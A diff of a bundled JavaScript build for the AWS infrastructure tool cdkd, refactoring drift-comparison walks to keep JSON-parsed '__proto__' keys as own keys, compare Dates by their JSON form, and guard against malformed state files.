-					if (isRegionAmbiguousRefusal(err)) throw err;
+					if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
 					logger.debug(`Resolution of output ${name} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), outputSecrets)}`);
 				}
 			}
@@ -68588,12 +68919,13 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 			secretsFound: 0,
 			secretBearingKeys: secretBearingKeys.length,
 			unverifiableReads: prePassFindings.unverifiable.length,
+			...malformedResources ? { malformedResources } : {},
 			outputs: state.outputs,
 			exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
 		};
 		let recordsChanged = 0;
 		const newResources = {};
-		for (const [logicalId, record] of Object.entries(state.resources)) {
+		for (const [logicalId, record] of Object.entries(state.resources ?? {})) {
 			const secrets = perResourceSecrets.get(logicalId);
 			const templateProps = perResourceTemplateProps.get(logicalId);
 			const ownSecrets = secrets ?? /* @__PURE__ */ new Map();
@@ -68636,6 +68968,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 			secretsFound: totalSecrets,
 			secretBearingKeys: secretBearingKeys.length,
 			unverifiableReads: prePassFindings.unverifiable.length,
+			...malformedResources ? { malformedResources } : {},
 			outputs: newOutputs,
 			exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
 		};
@@ -68661,6 +68994,87 @@ function createScrubCommand() {
 	return cmd;
 }
 
+//#endregion
+//#region src/utils/own-keys.ts
+/**
+* Own-key helpers for the bags that reach cdkd through `JSON.parse` — a
+* `state.json` record, a Cloud Control `Properties` document, a template — and
+* for the raw SDK readbacks compared against them.
+*
+* `JSON.parse` yields a key literally named `__proto__` as an ORDINARY own
+* data property, and every comparator / rebuild walk over such a bag has to
+* keep treating it as one. Two idioms silently do not:
+*
+* - **Rebuilding onto a `{}` literal.** `out[k] = v` with `k === '__proto__'`
+*   runs `Object.prototype`'s accessor, SETS the node's prototype and DROPS
+*   the key — on BOTH comparison sides when the walk is a canonicalizer, so a
+*   drift at that key is invisible (issue
+*   [#3121](https://github.com/go-to-k/cdkd/issues/3121)), and on the WRITE
+*   path the member vanishes from the payload (issue
+*   [#2899](https://github.com/go-to-k/cdkd/issues/2899)). Rebuild onto
+*   {@link nullPrototypeRecord} (no accessor there, so plain assignment
+*   defines an own key) or, onto an existing plain object, define the key
+*   with {@link defineOwnKey}.
+* - **`key in bag` membership.** `in` reads the prototype chain, so a key
+*   named `constructor` / `toString` answers `true` for every plain object
+*   and the recursion then walks `Object`'s function. {@link hasOwnKey} asks
+*   the bag alone; {@link ownValue} is the matching read.
+*
+* And ONE shape test every such walk needs FIRST: {@link hasPlainPrototype}.
+* A non-plain object (`Date`, `Uint8Array`, `Map`, a class instance) has no
+* own enumerable keys, so a key-walk over one FABRICATES `{}` (or an index
+* map) and any two of them compare equal. Such a value is returned by
+* IDENTITY and compared as itself.
+*
+* Extracted from `src/cli/commands/drift.ts` (issue #2899, swept by PR #3124)
+* so the analyzer-side canonicalizers (#3121) share ONE spelling rather than a
+* fourth copy. A LEAF module, deliberately, and it must stay one: a value
+* import from a module other suites `vi.mock` wholesale reds those suites
+* with a missing-export failure (which is why `secret-redaction.ts` keeps its
+* own `hasPlainPrototype` — several drift suites mock that module).
+*/
+/** Own-key membership: `in` reads the prototype chain, which a `JSON.parse`d bag never means. */
+function hasOwnKey(target, key) {
+	return Object.prototype.hasOwnProperty.call(target, key);
+}
+/** An own-key read: `undefined` for an inherited name (`__proto__`, `constructor`, ...). */
+function ownValue(target, key) {
+	return hasOwnKey(target, key) ? target[key] : void 0;
+}
+/** An ordinary (writable, enumerable, configurable) own data property — never the prototype. */
+function defineOwnKey(target, key, value) {
+	Object.defineProperty(target, key, {
+		value,
+		writable: true,
+		enumerable: true,
+		configurable: true
+	});
+}
+/**
+* Does this value carry an ORDINARY object prototype?
+*
+* `typeof v === 'object'` admits `Date` / `Map` / `Set` / `Uint8Array` / class
+* instances, whose own enumerable keys are `[]` — so a key-walk over one
+* reports "no contradiction" between two values that actually differ, and a
+* rebuild over one fabricates `{}`. A NULL prototype counts as plain: it is
+* what {@link nullPrototypeRecord} yields, and a walk must be able to re-walk
+* its own output.
+*/
+function hasPlainPrototype(value) {
+	const proto = Object.getPrototypeOf(value);
+	return proto === Object.prototype || proto === null;
+}
+/**
+* A fresh rebuild target with NO prototype, so `out['__proto__'] = v` defines
+* an own key instead of setting the prototype. `JSON.stringify`,
+* `Object.keys` / `entries` and `structuredClone` all read it like a plain
+* object; only `instanceof Object` and a direct `.hasOwnProperty()` method call
+* do not, and no consumer on the drift path uses either.
+*/
+function nullPrototypeRecord() {
+	return Object.create(null);
+}
+
 //#endregion
 //#region src/analyzer/drift-normalize.ts
 /**
@@ -68693,6 +69107,24 @@ function createScrubCommand() {
 * `properties`-fallback baseline (a resource deployed before observed-capture,
 * whose baseline is the user's TEMPLATE order). Sorting only the AWS read side
 * would manufacture drift on exactly that path.
+*
+* Every object arm below returns a NON-PLAIN object (a `Date` the raw SDK
+* readback carries, a `Uint8Array`) BY IDENTITY and rebuilds a plain one onto
+* a NULL-prototype record (issue
+* [#3121](https://github.com/go-to-k/cdkd/issues/3121), the analyzer-side
+* population of the class PR #3124 closed in `drift.ts`). A `{}` literal
+* rebuild had two consequences, both on the COMPARISON copies: an own
+* `__proto__` key (what `JSON.parse` yields from `state.json`) became the
+* rebuilt node's prototype and was dropped on BOTH sides, so a drift at that
+* key was invisible; and `Object.entries(new Date())` is `[]`, so a `Date`
+* member was flattened to `{}` before `calculateResourceDrift` could see it
+* (phantom drift against an ISO-string baseline, and `--accept` persisted the
+* `{}`). The identity return is what makes the second visible to the
+* comparator; the null-prototype target is what keeps the first an own key.
+* One layer LATER the same flattening survives in `secret-redaction.ts`'s
+* value walk, which `--accept` runs over a resource that RECORDS a secret
+* (issue #2427) -- so the ISO string reaches the baseline only where that
+* walk does not run.
 */
 function canonicalizeTagListsDeep(v) {
 	if (Array.isArray(v)) {
@@ -68706,7 +69138,8 @@ function canonicalizeTagListsDeep(v) {
 		return mapped;
 	}
 	if (v && typeof v === "object") {
-		const out = {};
+		if (!hasPlainPrototype(v)) return v;
+		const out = nullPrototypeRecord();
 		for (const [k, val] of Object.entries(v)) out[k] = canonicalizeTagListsDeep(val);
 		return out;
 	}
@@ -68721,7 +69154,8 @@ function canonicalizeIdArraysDeep(v) {
 		return mapped;
 	}
 	if (v && typeof v === "object") {
-		const out = {};
+		if (!hasPlainPrototype(v)) return v;
+		const out = nullPrototypeRecord();
 		for (const [k, val] of Object.entries(v)) out[k] = canonicalizeIdArraysDeep(val);
 		return out;
 	}
@@ -68878,7 +69312,8 @@ function walkUnordered(v, path, paths) {
 		return mapped;
 	}
 	if (v && typeof v === "object") {
-		const out = {};
+		if (!hasPlainPrototype(v)) return v;
+		const out = nullPrototypeRecord();
 		for (const [k, val] of Object.entries(v)) out[k] = walkUnordered(val, path === "" ? k : `${path}.${k}`, paths);
 		return out;
 	}
@@ -69021,14 +69456,16 @@ function isIgnoredPath(path, ignorePaths) {
 * common case of "no drift" allocates nothing.
 */
 function diffAt(path, stateValue, awsValue, out, ignorePaths, unionWalkObjects) {
-	if (deepEqual(stateValue, awsValue)) return;
+	const stateForm = jsonForm(stateValue);
+	const awsForm = jsonForm(awsValue);
+	if (deepEqual(stateForm, awsForm)) return;
 	if (typeof stateValue === "string" && stateValue.includes("{{resolve:")) return;
-	if (isPlainObject(stateValue) && isPlainObject(awsValue) && !Array.isArray(stateValue) && !Array.isArray(awsValue)) {
-		const keys = unionWalkObjects ? /* @__PURE__ */ new Set([...Object.keys(stateValue), ...Object.keys(awsValue)]) : Object.keys(stateValue);
+	if (isPlainObject(stateForm) && isPlainObject(awsForm) && !Array.isArray(stateForm) && !Array.isArray(awsForm)) {
+		const keys = unionWalkObjects ? /* @__PURE__ */ new Set([...Object.keys(stateForm), ...Object.keys(awsForm)]) : Object.keys(stateForm);
 		for (const key of keys) {
 			const childPath = `${path}.${key}`;
 			if (isIgnoredPath(childPath, ignorePaths)) continue;
-			diffAt(childPath, stateValue[key], awsValue[key], out, ignorePaths, unionWalkObjects);
+			diffAt(childPath, stateForm[key], awsForm[key], out, ignorePaths, unionWalkObjects);
 		}
 		return;
 	}
@@ -69039,11 +69476,39 @@ function diffAt(path, stateValue, awsValue, out, ignorePaths, unionWalkObjects)
 	});
 }
 /**
+* The form `JSON.stringify` would serialize a value as, for the ONE shape the
+* comparator's "JSON-roundtrip equality" contract did not cover: a NON-PLAIN
+* object carrying `toJSON` (a `Date`, which serializes as its ISO string; a
+* `Buffer`, whose prototype `toJSON` yields `{type, data}`). Every other value
+* is returned untouched. What the comparator then does with an untouched
+* non-plain object is what it does with a plain one -- it walks the OWN keys
+* (`deepEqual` below, and `diffAt`'s descend gate, test `typeof === 'object'`
+* and nothing about the prototype) -- so a `Uint8Array` compares by its
+* index keys (the persisted `{"0":1,"1":2}` equals the readback typed array,
+* the convergence this fold exists for) and a keyless `Map` / class instance
+* compares equal to `{}` and to any other keyless one. That last case is
+* PRE-EXISTING and is not what the canonicalizers' identity return protects:
+* they keep a non-plain node from being REBUILT as `{}`, and this fold keeps
+* the JSON-carrying ones from drifting forever against their persisted form;
+* neither adds a prototype guard here, because a bare `hasPlainPrototype`
+* gate would break the typed-array convergence (PR #3148 delta review).
+*/
+function jsonForm(value) {
+	if (value === null || typeof value !== "object" || hasPlainPrototype(value)) return value;
+	const toJSON = value.toJSON;
+	return typeof toJSON === "function" ? toJSON.call(value) : value;
+}
+/**
 * Structural equality used by the drift comparator. Identical to a
 * plain `JSON.stringify`-roundtrip equality except it tolerates
 * undefined-vs-missing-key gaps the same way (both serialize away).
+* `Date`s (and anything else non-plain with `toJSON`) are compared in their
+* JSON form via {@link jsonForm}, so the persisted ISO string of an accepted
+* readback equals the `Date` the next readback returns.
 */
 function deepEqual(a, b) {
+	a = jsonForm(a);
+	b = jsonForm(b);
 	if (a === b) return true;
 	if (a === null || b === null || a === void 0 || b === void 0) return a === b;
 	if (typeof a !== typeof b) return false;
@@ -69126,6 +69591,12 @@ function isPlainObject(value) {
 * and manufacturing a different phantom drift, so the pass is scoped to the
 * object shape — which is what `AWS::S3::BucketPolicy` and the other
 * `PolicyDocument`-typed properties carry in cdkd state.
+*
+* The two rewrite walks rebuild onto a NULL-prototype record and return a
+* non-plain object by identity, for the reason `drift-normalize.ts`'s header
+* gives (issue #3121): they run on the comparison copies of BOTH sides, so a
+* `{}` literal rebuild dropped an own `__proto__` key symmetrically and
+* flattened a `Date` to `{}` before the comparator saw it.
 */
 /**
 * An IAM unique id as it appears in a rendered policy. The prefix set is
@@ -69215,7 +69686,8 @@ function collectPrincipalForms(value) {
 function rewritePrincipalUniqueIds(value, arnByUniqueId) {
 	if (Array.isArray(value)) return value.map((el) => rewritePrincipalUniqueIds(el, arnByUniqueId));
 	if (!value || typeof value !== "object") return value;
-	const out = {};
+	if (!hasPlainPrototype(value)) return value;
+	const out = nullPrototypeRecord();
 	for (const [key, member] of Object.entries(value)) out[key] = key === "Principal" || key === "NotPrincipal" ? rewritePrincipalValue(member, arnByUniqueId) : rewritePrincipalUniqueIds(member, arnByUniqueId);
 	return out;
 }
@@ -69224,7 +69696,8 @@ function rewritePrincipalValue(value, arnByUniqueId) {
 	if (typeof value === "string") return swap(value);
 	if (Array.isArray(value)) return value.map(swap);
 	if (!value || typeof value !== "object") return value;
-	const out = {};
+	if (!hasPlainPrototype(value)) return value;
+	const out = nullPrototypeRecord();
 	for (const [key, member] of Object.entries(value)) {
 		if (key !== "AWS") {
 			out[key] = rewritePrincipalUniqueIds(member, arnByUniqueId);
@@ -69482,7 +69955,12 @@ const CC_API_FALLBACK_DENY_LIST = {
 *
 * Strips are shallow only — fields are removed if they appear at any
 * depth (recursive walk) but the values themselves are not modified.
-* Arrays are walked element-wise.
+* Arrays are walked element-wise. The rebuild target is a NULL-prototype
+* record and a non-plain object is returned by identity, for the reason
+* `drift-normalize.ts`'s header gives (issue #3121): the walk feeds the
+* comparison copy, so a `{}` literal rebuild dropped an own `__proto__` key
+* (which the `JSON.parse`d `Properties` document can carry) and flattened a
+* non-plain member to `{}`.
 */
 /**
 * Field names AWS attaches to nearly every resource. These are NOT user
@@ -69538,7 +70016,8 @@ function stripWalk(value) {
 	if (value === null || value === void 0) return value;
 	if (Array.isArray(value)) return value.map(stripWalk);
 	if (typeof value === "object") {
-		const out = {};
+		if (!hasPlainPrototype(value)) return value;
+		const out = nullPrototypeRecord();
 		for (const [key, child] of Object.entries(value)) {
 			if (ALWAYS_STRIPPED_FIELDS.has(key)) continue;
 			out[key] = stripWalk(child);
@@ -70949,10 +71428,10 @@ function buildReadCurrentStateContext(state, excludedLogicalId) {
 * below would then compare against the accepted one. `undefined` is the answer
 * "the bag has nothing here", which is what an absent segment means.
 *
-* Exported, like `setAtPath`, as a test seam only: a `__proto__` path cannot
-* reach either through the command today (the comparison chain's normalisers
-* drop the key on both sides — issue #3121), so the own-key rule is pinned on
-* the helpers directly.
+* Exported, like `setAtPath`, as a test seam: the own-key rule is pinned on
+* the helpers directly, and since issue #3121 (the comparison chain's
+* normalisers keep the key as an own key on both sides) a top-level
+* `__proto__` drift also reaches both through the command.
 */
 function getAtPath(source, path) {
 	if (path.length === 0) return source;
@@ -70991,23 +71470,6 @@ function setAtPath(target, path, value) {
 	}
 	defineOwnKey(cursor, segments[segments.length - 1], value);
 }
-/** Own-key membership: `in` reads the prototype chain, which a `JSON.parse`d bag never means. */
-function hasOwnKey(target, key) {
-	return Object.prototype.hasOwnProperty.call(target, key);
-}
-/** An own-key read: `undefined` for an inherited name (`__proto__`, `constructor`, ...). */
-function ownValue(target, key) {
-	return hasOwnKey(target, key) ? target[key] : void 0;
-}
-/** An ordinary (writable, enumerable, configurable) own data property — never the prototype. */
-function defineOwnKey(target, key, value) {
-	Object.defineProperty(target, key, {
-		value,
-		writable: true,
-		enumerable: true,
-		configurable: true
-	});
-}
 /**
 * `--accept`: state ← AWS.
 *
@@ -71365,22 +71827,6 @@ function isPlainRecord(value) {
 	return typeof value === "object" && value !== null && !Array.isArray(value);
 }
 /**
-* Does this value carry an ORDINARY object prototype?
-*
-* {@link isPlainRecord} admits `Date` / `Map` / `Set` / class instances, whose
-* own enumerable keys are `[]` — so a key-walk over one reports "no
-* contradiction" between two values that actually differ. The redaction walk's
-* `deepEqualJsonValue` carries the same guard for the same reason
-* (`secret-redaction.ts`, issue #2869): a `Date` anchor corroborates NOTHING.
-* Kept file-local rather than imported because `secret-redaction.js` is
-* `vi.mock`ed by several drift suites, and a value import from it reds them
-* with a missing-export failure.
-*/
-function hasPlainPrototype(value) {
-	const proto = Object.getPrototypeOf(value);
-	return proto === Object.prototype || proto === null;
-}
-/**
 * Merge the AWS-current value with the revert baseline, KEEPING every path the
 * baseline does not declare (issue
 * [#1626](https://github.com/go-to-k/cdkd/issues/1626) items 2 + 3).
@@ -78821,6 +79267,7 @@ async function rollbackCommand(stackArg, options) {
 			if (!journal || journal.segments.length === 0) throw new Error(`Nothing to roll back for '${safe(stackName)}' (${safe(region)}). Run 'cdkd deploy' to (re)deploy, or 'cdkd destroy' to clean up.`);
 			if (!stateData) throw new Error(`Rollback journal exists for '${safe(stackName)}' (${safe(region)}) but its state.json is missing (keys: ${safe(`${setup.prefix}/${stackName}/${region}`)}/state.json and .../rollback-journal.json). State appears corrupted — inspect the bucket manually.`);
 			const baseState = stateData.state;
+			refuseMalformedState(baseState, stackName, region);
 			const stateResources = { ...baseState.resources };
 			const mintedOrphans = [];
 			const orphanLogicalIds = new Set(options.orphan ?? []);
@@ -80886,7 +81333,9 @@ var AttributeFetcher = class {
 			ok: false,
 			reason
 		};
-		const cached = this.orphans[orphanLogicalId].attributes?.[attribute];
+		const orphan = this.orphans[orphanLogicalId];
+		const stored = orphan.attributes?.[attribute];
+		const cached = isImpossibleEmptyStoredAttribute(orphan.resourceType, attribute, stored) ? void 0 : stored;
 		if (cached === void 0) {
 			this.logger.warn(`--force: state.attributes also lacks '${orphanLogicalId}.${attribute}'; leaving the original intrinsic in place.`);
 			return {
@@ -80955,7 +81404,7 @@ async function rewriteResourceReferences(state, orphanLogicalIds, providerRegist
 	const rewrites = [];
 	const unresolvable = [];
 	const newResources = {};
-	for (const [logicalId, resource] of Object.entries(state.resources)) {
+	for (const [logicalId, resource] of Object.entries(state.resources ?? {})) {
 		if (orphanSet.has(logicalId)) continue;
 		const rewrittenProperties = await rewriteValue(resource.properties, `properties`, logicalId, orphanSet, fetcher, rewrites, unresolvable);
 		const rewrittenAttributes = resource.attributes ? await rewriteValue(resource.attributes, `attributes`, logicalId, orphanSet, fetcher, rewrites, unresolvable) : void 0;
@@ -81290,9 +81739,10 @@ async function orphanCommand(pathArgs, options) {
 			const stateData = await stateBackend.getState(stackInfo.stackName, targetRegion);
 			if (!stateData) throw new Error(`No state found for stack '${stackInfo.stackName}' (${targetRegion}). Nothing to orphan. (Did the stack get deployed?)`);
 			const { state, etag, migrationPending } = stateData;
+			refuseMalformedState(state, stackInfo.stackName, targetRegion);
 			const missing = orphanLogicalIds.filter((id) => !(id in state.resources));
 			if (missing.length > 0) {
-				const have = Object.keys(state.resources).join(", ");
+				const have = Object.keys(state.resources ?? {}).join(", ");
 				throw new Error(`Resource(s) not in state for stack '${stackInfo.stackName}' (${targetRegion}): ${missing.join(", ")}.\nAvailable logical IDs: ${have}`);
 			}
 			const providerRegistry = new ProviderRegistry();
@@ -81868,6 +82318,7 @@ async function importCommand(stackArg, options) {
 		}
 		const existingResult = await stateBackend.getState(stackInfo.stackName, targetRegion);
 		const existingState = existingResult?.state ?? null;
+		if (existingState) refuseMalformedState(existingState, stackInfo.stackName, targetRegion);
 		const existingEtag = existingResult?.etag;
 		const migrationPending = existingResult?.migrationPending ?? false;
 		if (existingState) {
@@ -81876,7 +82327,7 @@ async function importCommand(stackArg, options) {
 			} else {
 				const conflicts = [...overrides.keys()].filter((id) => Object.prototype.hasOwnProperty.call(existingState.resources, id));
 				if (conflicts.length > 0 && !options.force) throw new Error(`Selective import would overwrite resource(s) already in state: ${conflicts.join(", ")}. Pass --force to confirm the overwrite, or remove these IDs from --resource / --resource-mapping.`);
-				const preservedCount = Object.keys(existingState.resources).filter((id) => !overrides.has(id)).length;
+				const preservedCount = Object.keys(existingState.resources ?? {}).filter((id) => !overrides.has(id)).length;
 				logger.info(`Merging into existing state for ${stackInfo.stackName} (${targetRegion}): preserving ${preservedCount} unlisted resource(s)` + (conflicts.length > 0 ? `, overwriting ${conflicts.length} listed entry(ies)` : ""));
 			}
 		}
@@ -81937,7 +82388,7 @@ async function importCommand(stackArg, options) {
 			}
 			if (!options.yes) {
 				const importedCount = importedRows.length;
-				const preservedCount = selectiveMode && existingState ? Object.keys(existingState.resources).filter((id) => !overrides.has(id)).length : 0;
+				const preservedCount = selectiveMode && existingState ? Object.keys(existingState.resources ?? {}).filter((id) => !overrides.has(id)).length : 0;
 				const totalAfter = importedCount + preservedCount;
 				const breakdown = preservedCount > 0 ? ` (${importedCount} new/overwritten + ${preservedCount} preserved)` : "";
 				if (!await confirmPrompt(`Write state for ${stackInfo.stackName} (${targetRegion}) with ${totalAfter} resource(s)${breakdown}?`)) {
@@ -82504,7 +82955,7 @@ function defaultOnlyParameterTemplate(template) {
 */
 async function resolveImportedProperties(stackState, template, region, stateBackend, logger) {
 	const unsafeObservedBaselineLogicalIds = /* @__PURE__ */ new Set();
-	const entries = Object.entries(stackState.resources);
+	const entries = Object.entries(stackState.resources ?? {});
 	if (entries.length === 0) return unsafeObservedBaselineLogicalIds;
 	const resolver = new IntrinsicFunctionResolver(region);
 	let parameters = {};
@@ -82920,7 +83371,7 @@ const NO_RECORDED_SECRETS = /* @__PURE__ */ new Map();
 * [#2828](https://github.com/go-to-k/cdkd/issues/2828)).
 */
 async function captureObservedForImportedResources(stackState, providerRegistry, logger, unsafeObservedBaselineLogicalIds, rebuiltLogicalIds) {
-	const entries = Object.entries(stackState.resources);
+	const entries = Object.entries(stackState.resources ?? {});
 	if (entries.length === 0) return;
 	await Promise.all(entries.map(async ([logicalId, resource]) => {
 		if (resource.observedBaselineRefused === true && !rebuiltLogicalIds.has(logicalId)) {
@@ -92457,4 +92908,4 @@ function buildProgram() {
 
 //#endregion
 export { buildProgram };
-//# sourceMappingURL=program-20PIJFu9.js.map
+//# sourceMappingURL=program-Cl3fCD6-.js.map